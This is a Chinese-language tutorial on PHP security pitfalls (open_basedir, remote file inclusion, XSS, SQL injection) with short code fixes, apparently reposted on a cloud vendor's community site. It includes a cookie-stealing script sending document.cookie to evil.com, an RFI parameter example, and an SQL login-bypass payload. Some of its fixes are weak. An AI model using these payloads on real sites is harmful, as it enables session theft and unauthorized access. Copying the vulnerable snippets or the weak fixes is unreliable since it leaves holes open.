php中一些安全隱藏代碼總結

來源:互聯網
上載者:User

 

百度一下。設定open_basedir後只有指定的目錄和子目錄下的php指令碼才會被執行。
用php讀取open_basedir以外的目錄或檔案會報錯
許可權不足
一般虛擬機器主機供應商都是設定為/tmp和/home

這是使用者習慣了,我們要想辦法解決這些問題了,下面總結了一些php安全問題。

1.include的時候要小心,要判斷你本地是否有這個檔案,以免造成安全性漏洞。
比如:

 代碼如下 複製代碼
<?php
    include $module.'.php';
?>


這裡假設$module是function/42833.htm target=_blank >全域變數。
這個指令碼讓攻擊者有機會在你的伺服器上執行任何的php代碼,比如他在瀏覽器url後面加上?module=http://example.com/my就行了。當php接收到這個url的時候,指令碼中的"$module"變數的值將被設定為http://example.com/my。因此當php執行include的時候就很危險了......
解決辦法:關閉php.ini中的register_globals或include的時候判斷一下。

 代碼如下 複製代碼
<?php
    if(file_exists($module.'.php')){
        include $module.'.php';
    }
?>


2.跨站運行指令碼。
簡單的說是攻擊者可以在使用者的瀏覽器端執行一些用戶端的指令碼,例如js,然後盜取使用者的cookies或其他重要資料。
比如<script language='javaScript'>document.location=?'http://evil.com/cgi-bin/cookie.cgi?f='+document.cookie</script>
如果你點擊了按鈕,你本地的cookie資訊將會被發送的某個人的郵箱(由此可見你想做個盜取使用者資訊的網站是多麼容易)。
3.SQL注入
個人覺得是sql自身的靈活,易用給自己帶來的負面影響。

 代碼如下 複製代碼
<?php
    $query "select login_id from users where user='$user' and pwd='$pw'";
    mysql_query($query);
?>

比如用人寫了
http://example.com/login.php?user=admin'%20OR%20(user='&pwd=')%20R%20user='
你的php代碼可能變成。

 代碼如下 複製代碼
<?php
    $query = "select login_id from user where user='admin' or (user = '' and pwd='') or user=''";
    mysql_query($query);
?>


可以用函數進行過濾,過濾掉(') ("),()等等

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.